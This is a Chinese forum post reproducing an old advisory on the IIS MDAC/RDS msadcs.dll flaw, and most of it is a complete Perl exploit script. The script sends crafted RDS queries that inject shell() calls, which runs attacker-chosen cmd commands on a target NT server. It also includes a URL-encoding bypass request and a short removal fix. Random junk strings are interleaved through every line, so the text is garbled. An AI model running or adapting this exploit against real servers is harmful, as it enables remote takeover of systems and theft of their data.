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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) [&g"Z"  
#\ uB!;Q  
涉及程序: Dt! <  
Microsoft NT server H: S<O%f  
Gt)ij?~  
描述: P=PeWX*L<Z  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 rp+]f\] h  
cyo[HI?WM  
详细: _PcF/Gyk  
如果你没有时间读详细内容的话,就删除: bp<,Xfl  
c:\Program Files\Common Files\System\Msadc\msadcs.dll N0%q 66]1  
有关的安全问题就没有了。 W,"Re,`H  
sY4q$Fq  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 sF>O=F-7  
H32o7]lT  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 zdw* ?C  
关于利用ODBC远程漏洞的描述,请参看: \E[6wB>uN%  
Ot)S\s>  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm M4D @G  
3-&~jm~"  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 na|sKE;{  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp KK6fRtKv>q  
7377g'jL  
这里不再论述。 8Ihl}aguW  
qZ4)) X  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: +xvn n  
c& I  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset `lQ;M?D  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! t0GJ$])  
|j81?4<)v  
YYT#{>&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" R}cNhZC  
M>[ A  
#!perl #lg R"%  
# (^(l=EN-<  
# MSADC/RDS 'usage' (aka exploit) script iEZ+Znon  
# C<3<,~gI  
# by rain.forest.puppy lx=tOfj8  
# Rk[a|T&  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me J8i,[,KcE  
# beta test and find errors! cdh0b7tj n  
1. +6x4%rV  
use Socket; use Getopt::Std; El@*Fo  
getopts("e:vd:h:XR", \%args); ;-XfbqZ\  
&^#u=w?^x  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; o<%0|n_O&  
$XTtDUP@  
if (!defined $args{h} && !defined $args{R}) { k=[s%O 6H  
print qq~ yW (|auq  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ,oh;(|=  
-h <host> = host you want to scan (ip or domain) aZCq{7Xs  
-d <seconds> = delay between calls, default 1 second Dsp$Nr%*  
-X = dump Index Server path table, if available =#,`k<v%I  
-v = verbose jeJgDAUv  
-e = external dictionary file for step 5 e).;;0  
|oke)w=gn  
Or a -R will resume a command session 2jC`'8  
5K2K'ZkI  
~; exit;}  u\L}B!  
5.oIyC^Ik  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 8\!E )M|4  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} P3: t 4^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} J (?qk  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); jT =|!,Pn  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} R-j*fO}  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Wz s=BNm9  
/ De~K+w7o  
if (!defined $args{R}){ $ret = &has_msadc; Y55u -9|N  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} -]HZ?@  
Tk4>Jb  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" jt on\9  
. "cmd /c "; *>KBDFI  
$in=<STDIN>; chomp $in; *k}m?;esb  
$command="cmd /c " . $in ; Q`<{cFsU  
xF8n=Lc  
if (defined $args{R}) {&load; exit;} DJL.P6-W  
1wKXOy=v0  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; PnA{@n\  
&try_btcustmr; HDhISPg  
{9U!0h-2"  
print "\nStep 2: Trying to make our own DSN..."; c\1X NPGG  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; O*~z@"\  
o+A1-&qhN  
print "\nStep 3: Trying known DSNs..."; {g<D:"Q  
&known_dsn; 'R79,)|;[  
)*;Tt @'y  
print "\nStep 4: Trying known .mdbs..."; &Mk!qE<:N  
&known_mdb; eZa*WI=  
*y?HaU  
if (defined $args{e}){ j)mU`b_  
print "\nStep 5: Trying dictionary of DSN names..."; {,Q )D$i  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } B2ln8NF#Q  
X3l>GeUi  
print "Sorry Charley...maybe next time?\n"; # dWz,e3   
exit; @%Ld\8vdfJ  
N|DI k  
############################################################################## ~R w1  
]- 1(r,  
sub sendraw { # ripped and modded from whisker Uz^N6q  
sleep($delay); # it's a DoS on the server! At least on mine... \5r^D|Rp}  
my ($pstr)=@_; -[7+g  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || #cfiN b}GX  
die("Socket problems\n"); SH{@yS[c!  
if(connect(S,pack "SnA4x8",2,80,$target)){ )t|:_Z  
select(S); $|=1; lPR=C0h}@  
print $pstr; my @in=<S>; $*#^C;7O  
select(STDOUT); close(S); c`!e#w  
return @in; NZB*;U~t  
} else { die("Can't connect...\n"); }} N>H@vt~  
4^L;]v,|7  
############################################################################## =6[.||9  
M%S7cIX ]F  
sub make_header { # make the HTTP request #Q8_:dPY  
my $msadc=<<EOT #KJ# 1  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 JY,$B-l  
User-Agent: ACTIVEDATA ttsR`R1.k  
Host: $ip Z!"-LQJ  
Content-Length: $clen Z6Fu~D2U y  
Connection: Keep-Alive U#[&(  
e"S?qpJK  
ADCClientVersion:01.06 !<p,G`r  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 b w P=f.  
/4an@5.\C  
--!ADM!ROX!YOUR!WORLD! k: Pn.<  
Content-Type: application/x-varg fvC,P#z'|  
Content-Length: $reqlen /mex{+p>tO  
J\@6YU[A  
EOT eP-|3$  
; $msadc=~s/\n/\r\n/g; Njc@5*rJ &  
return $msadc;} z{rV|vQ  
lx:$EJ  
############################################################################## DhyR  
EK';\}  
sub make_req { # make the RDS request >@2<^&K`  
my ($switch, $p1, $p2)=@_; |4df)  
my $req=""; my $t1, $t2, $query, $dsn; ^9Pr`\   
%~!4DXrMk  
if ($switch==1){ # this is the btcustmr.mdb query 5kiW@{m  
$query="Select * from Customers where City=" . make_shell(); iW` tr  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . =tOB fRM  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ojd0um6I{  
B0@ Tz39=  
elsif ($switch==2){ # this is general make table query cpdESc9W  
$query="create table AZZ (B int, C varchar(10))"; eY<<Hld  
$dsn="$p1";} r2=@1=?8  
Nz dN4+  
elsif ($switch==3){ # this is general exploit table query /$c87\  
$query="select * from AZZ where C=" . make_shell(); b#_RZ  
$dsn="$p1";} RA0;f'"`  
G}nJ3  
elsif ($switch==4){ # attempt to hork file info from index server ZNQ x;51  
$query="select path from scope()"; z?o8h N\  
$dsn="Provider=MSIDXS;";} vX JPvh<  
AF'<  
elsif ($switch==5){ # bad query :?Ns>#6t  
$query="select"; 6 VEB2F  
$dsn="$p1";} igxO:]?  
PgkU~68`  
$t1= make_unicode($query); X)b$CG  
$t2= make_unicode($dsn); e5' I W__  
$req = "\x02\x00\x03\x00"; r:H]`Uo'r  
$req.= "\x08\x00" . pack ("S1", length($t1)); G2` z?);1b  
$req.= "\x00\x00" . $t1 ; (/]'e}  
$req.= "\x08\x00" . pack ("S1", length($t2)); FIq'W:q:  
$req.= "\x00\x00" . $t2 ; j?K$w`  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; x92^0cMf  
return $req;} EvT$|#FY  
:K| H/kht  
############################################################################## oZBD.s  
eEZgG=s  
sub make_shell { # this makes the shell() statement K%z!#RyJ4  
return "'|shell(\"$command\")|'";} -| .NwGh  
}3#\vn0gT  
############################################################################## sYKx 3[V/  
,L<JG  
sub make_unicode { # quick little function to convert to unicode  +mocSx[  
my ($in)=@_; my $out; !Z$d<~Mq q  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 8['R D`O  
return $out;} =D1  
@c|=onx5  
############################################################################## j9 nw,x$  
\g}]u(zg%  
sub rdo_success { # checks for RDO return success (this is kludge) i'ap8Dr  
my (@in) = @_; my $base=content_start(@in); ]C \+b <  
if($in[$base]=~/multipart\/mixed/){ bmG`:_  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Q"&Mr+  
return 0;} pD{OB  
_b&|0j:Ud  
############################################################################## s#X/ F  
DDrR9}k  
sub make_dsn { # this makes a DSN for us 0*{(R#  
my @drives=("c","d","e","f"); SXL3>-Z E  
print "\nMaking DSN: "; [ws _ g,/  
foreach $drive (@drives) { YC6T0m  
print "$drive: "; ~` tuPk~l  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . &da=hc,>%  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" GHv6UIe&  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); alb3oipOB  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 'kd}vq#|  
return 0 if $2 eq "404"; # not found/doesn't exist a#p+.)Wm  
if($2 eq "200") { e;.,x 5+  
foreach $line (@results) { Ks.b).fH  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ~5HkDtI)  
} return 0;} kvbZx{s  
5%,3)H{;t  
############################################################################## T@W:@,34  
_pdKcE\X  
sub verify_exists { _U~R   
my ($page)=@_; 7@c!4hmrU  
my @results=sendraw("GET $page HTTP/1.0\n\n"); tc~gn!"  
return $results[0];} p $Tk;;wm  
"c%wq 0  
############################################################################## %1#\LRA(  
2!%)_<  
sub try_btcustmr { o#m31* o  
my @drives=("c","d","e","f"); R_EU|a  
my @dirs=("winnt","winnt35","winnt351","win","windows"); k3Yu"GY^  
4  %0s p  
foreach $dir (@dirs) { uaIAVBRcS  
print "$dir -> "; # fun status so you can see progress +<E#_)}`D6  
foreach $drive (@drives) { $0Y`> 3  
print "$drive: "; # ditto e r3M vw  
$reqlen=length( make_req(1,$drive,$dir) ) - 28;  u$?!  
$reqlenlen=length( "$reqlen" ); ?_H9>/:.  
$clen= 206 + $reqlenlen + $reqlen; e:G~P u`  
24wDnDyh  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); t 24`*'  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} R}oN8  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} J4qk^1m.  
Pe:)zt0  
############################################################################## k+_>`Gre}  
S}C[  
sub odbc_error { n@pwOHQn<|  
my (@in)=@_; my $base; 75\ZD-{T:  
my $base = content_start(@in); 4X=VNORlU0  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this rmg\Pa8W>  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :hICe+2ca  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Z}O]pm>=G  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %M x|"ff  
return $in[$base+4].$in[$base+5].$in[$base+6];} 9~V'Wev  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ~<k>07  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . aR2N,<Cp5  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} P(PBOB97  
@!iS`u  
############################################################################## `n>/MY  
P#TPI*qw  
sub verbose { f`4=Bl&"{  
my ($in)=@_; IJf%OA>v  
return if !$verbose; &S="]*Z  
print STDOUT "\n$in\n";} /Am9w$_T[  
*k(FbZ  
############################################################################## Dbn ~~P  
45biy(qa  
sub save { 8R)K$J$Hm  
my ($p1, $p2, $p3, $p4)=@_; FH}?QebSR  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 6vNW)1{nn  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; hT^&*}G  
close OUT;} _sy{rnaqvb  
Pz50etJ  
############################################################################## |ts0j/A]Pi  
3?E7\\/R  
sub load { >|S@twy  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?EUg B\  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 23CvfP  
@p=<IN>; close(IN); ";U~wZW_  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); !$98 U~L  
$target= inet_aton($ip) || die("inet_aton problems"); ]Q FI>  
print "Resuming to $ip ..."; NioqJG?p  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; X!g;;DB\  
if($p[1]==1) { 4lPO*:/  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; xy`Y7W=  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; /@ em E0  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); l]wfL;u  
if (rdo_success(@results)){print "Success!\n";} @Yt394gA%\  
else { print "failed\n"; verbose(odbc_error(@results));}} }S iR;2W  
elsif ($p[1]==3){ i).Vu}W#S  
if(run_query("$p[3]")){ 4!14: mq  
print "Success!\n";} else { print "failed\n"; }} gy?uk~p  
elsif ($p[1]==4){ xqSZ {E:  
if(run_query($drvst . "$p[3]")){ r]6+&K  
print "Success!\n"; } else { print "failed\n"; }} NtGJpT4YX  
exit;} 0;x&\x7K  
7Td 9mkO  
############################################################################## _#M4zO7  
=WUNBav  
sub create_table { A*BN  
my ($in)=@_; TgJ+:^+0  
$reqlen=length( make_req(2,$in,"") ) - 28; EkV#i  
$reqlenlen=length( "$reqlen" ); U _pPI$ =  
$clen= 206 + $reqlenlen + $reqlen; 'WHI.*=  
my @results=sendraw(make_header() . make_req(2,$in,"")); $<nD-4p  
return 1 if rdo_success(@results); Fr50hrtkU  
my $temp= odbc_error(@results); verbose($temp); h% >ZN-K)  
return 1 if $temp=~/Table 'AZZ' already exists/; H3!9H  
return 0;} K!AA4!eUzM  
#[i3cn  
############################################################################## Iep_,o.Sk  
?6"U('y>n  
sub known_dsn { }#tbK 2[  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ("(wap~<nD  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", a`:F07r  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", |;:Kn*0/]  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); tVf):}<h  
kXdXyq  
foreach $dSn (@dsns) { 9e.v[K~  
print "."; (mbm',%-(  
next if (!is_access("DSN=$dSn")); mph9/ %]S  
if(create_table("DSN=$dSn")){ V(;T{HW&  
print "$dSn successful\n"; Z Uj1vf6I  
if(run_query("DSN=$dSn")){ w^cQL%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2f{p$YIt  
print "Something's borked. Use verbose next time\n";}}} print "\n";} "*HEXru#B  
7}NvO"u  
############################################################################## IRR b^Q6  
uEhPO  
sub is_access { 'b"7Lzp2  
my ($in)=@_; ;d fIzi  
$reqlen=length( make_req(5,$in,"") ) - 28; >B``+ Z^2  
$reqlenlen=length( "$reqlen" ); zr A3bWs  
$clen= 206 + $reqlenlen + $reqlen; _J2?B?S/j  
my @results=sendraw(make_header() . make_req(5,$in,"")); (I6Q"&h]  
my $temp= odbc_error(@results); vz3olHX  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 9W-" mD;  
return 0;} Mig l  
mQt0?c _  
############################################################################## 3=?,Dv0P  
EqBTN07dZS  
sub run_query { (QojIdHt  
my ($in)=@_; 6)ysiAH?  
$reqlen=length( make_req(3,$in,"") ) - 28; a".iVf6y  
$reqlenlen=length( "$reqlen" ); S&&Q U #  
$clen= 206 + $reqlenlen + $reqlen; FWp ?l  
my @results=sendraw(make_header() . make_req(3,$in,"")); |}8SjZcQW  
return 1 if rdo_success(@results); 4Wvefq"  
my $temp= odbc_error(@results); verbose($temp); sUQ Q/F6  
return 0;} GbQg(%2F  
o:*$G~. k  
##############################################################################  `2\:b^h  
`H9 +]TWj<  
sub known_mdb { '"c`[L7Wn  
my @drives=("c","d","e","f","g"); uT=5zu  
my @dirs=("winnt","winnt35","winnt351","win","windows"); -glGOTk  
my $dir, $drive, $mdb; oO7)7$|1  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; *2.h*y'u  
p1.3)=T  
# this is sparse, because I don't know of many M(C$SB>  
my @sysmdbs=( "\\catroot\\icatalog.mdb", CRiqY_gBf  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 5-H"{29  
"\\system32\\certmdb.mdb", C%ZPWOc_8  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% _d^d1Q}V  
A5\ Hq  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", <gFisc/#r  
"\\cfusion\\cfapps\\forums\\forums_.mdb", CbxWK#aMmB  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", m;1/+qs0  
"\\cfusion\\cfapps\\security\\realm_.mdb", Y]`o-dV  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", I#]pk!  
"\\cfusion\\database\\cfexamples.mdb", II=!E  
"\\cfusion\\database\\cfsnippets.mdb", QX&Y6CC`]  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", f;OB"p  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Vo.~1^  
"\\cfusion\\brighttiger\\database\\cleam.mdb", zTPNQ0=|  
"\\cfusion\\database\\smpolicy.mdb", C1l'<  
"\\cfusion\\database\cypress.mdb", ZzQLbCV  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 6]?W&r|0I  
"\\website\\cgi-win\\dbsample.mdb", 9&6P,ts%Q  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", )J+A2>  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" V[Sj+&e&  
); #these are just d.Ccc/1-  
foreach $drive (@drives) { gLFTnMO  
foreach $dir (@dirs){ k!bJ&} Q(b  
foreach $mdb (@sysmdbs) { #W.vX=/*  
print "."; DSq?|H  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ /?b{*<TK  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; .A_R6~::  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ l,3,$  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; &m\Uc  
} else { print "Something's borked. Use verbose next time\n"; }}}}} , )TnIByM  
q\gbjci  
foreach $drive (@drives) { (J%>{?"ij  
foreach $mdb (@mdbs) { u i$4  
print "."; .wlKl[lE2  
if(create_table($drv . $drive . $dir . $mdb)){ !mB `FC  
print "\n" . $drive . $dir . $mdb . " successful\n"; GDiyFTr  
if(run_query($drv . $drive . $dir . $mdb)){ L8Z@Dk7Y  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; F ~7TE91C  
} else { print "Something's borked. Use verbose next time\n"; }}}} nZ#u#V  
} ufw[Ei$I:  
@6aJh< c  
############################################################################## |b^UPrz)VS  
?4aW^l6/  
sub hork_idx { 1A#/70Mo  
print "\nAttempting to dump Index Server tables...\n"; Zw'050~-  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; EQw7(r|v:  
$reqlen=length( make_req(4,"","") ) - 28; &RI;!qn6(  
$reqlenlen=length( "$reqlen" ); =*zde0T?l  
$clen= 206 + $reqlenlen + $reqlen; $"MVr5q6  
my @results=sendraw2(make_header() . make_req(4,"","")); _V0%JE'  
if (rdo_success(@results)){ .Y8P6_  
my $max=@results; my $c; my %d; ?Pf#~U_  
for($c=19; $c<$max; $c++){ 0L,!o[L*  
$results[$c]=~s/\x00//g; #N~1Y e  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; fBz|-I:k +  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 0 VG;z#{J  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; NpKyrXDJv  
$d{"$1$2"}="";} I_N:j,Mx  
foreach $c (keys %d){ print "$c\n"; } J~oxqw}  
} else {print "Index server doesn't seem to be installed.\n"; }} Q 8;JvCz   
* {~`Lw)y  
############################################################################## {{>,c}O /  
dxH\H?NO  
sub dsn_dict { X?&{< vz  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Br42Qo2"T>  
while(<IN>){ > LN*3&W  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; :O,r3O6  
next if (!is_access("DSN=$dSn")); )l! `k  
if(create_table("DSN=$dSn")){ jt9- v-  
print "$dSn successful\n"; 2Qh)/=8lM  
if(run_query("DSN=$dSn")){ piuM#+Y\'S  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (\r^ 0>H  
print "Something's borked. Use verbose next time\n";}}} P>_9>k@;Q  
print "\n"; close(IN);} !y>up+cRjl  
EE`[J0 (  
############################################################################## ?E}gm>  
W\5 -Yg(@  
sub sendraw2 { # ripped and modded from whisker .n4{xQo,EJ  
sleep($delay); # it's a DoS on the server! At least on mine... PlK3;  
my ($pstr)=@_; B9KBq $e  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 1;i|GXY:h  
die("Socket problems\n"); A"s?;hv\fS  
if(connect(S,pack "SnA4x8",2,80,$target)){ bAN>\zG+  
print "Connected. Getting data"; r:E4Wi{\  
open(OUT,">raw.out"); my @in; a^E>LJL  
select(S); $|=1; print $pstr; a\oz-`ESa  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} .XRe:\8mc  
close(OUT); select(STDOUT); close(S); return @in; v6[VdWOx5  
} else { die("Can't connect...\n"); }} i_*.  
|:4?K*w",  
############################################################################## J=(i0A  
"!7Hu7  
sub content_start { # this will take in the server headers quC$<Y  
my (@in)=@_; my $c; 72J=_d>+  
for ($c=1;$c<500;$c++) { }$qrNbLJ  
if($in[$c] =~/^\x0d\x0a/){ T<b* =i  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } [e@m -/B  
else { return $c+1; }}} >,'guaa  
return -1;} # it should never get here actually wq!9wk9  
+ @|u8+  
############################################################################## -"a(<JC^NI  
8t, &dq  
sub funky { L:mE)Xq2  
my (@in)=@_; my $error=odbc_error(@in); T /IX(b'<  
if($error=~/ADO could not find the specified provider/){ wgolgof  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Q=vo5)t   
exit;} .f. tPm  
if($error=~/A Handler is required/){ a}|<*!4zUQ  
print "\nServer has custom handler filters (they most likely are patched)\n"; M5dEZ  
exit;}  YGs'[On8  
if($error=~/specified Handler has denied Access/){ jq8TfJ|   
print "\nServer has custom handler filters (they most likely are patched)\n"; x?u@ j7[  
exit;}} >SziRm>Y7  
s|c}9/Xe)  
############################################################################## H.C*IL9  
*=v%($~PK6  
sub has_msadc { kTT%< e  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); k\*?<g  
my $base=content_start(@results); i ps)-1  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); +|8.ymvm  
return 0;} G|-RscPe  
h05FR[</  
######################## =5fY3%^b{  
AcH!KbYf  
JdUdl_D z  
解决方案: Fv$w:r]q6  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll G,^ ?qbHg  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 J.U%W}Hx  
Bj><0 cNF  
拿出来充数 哈哈
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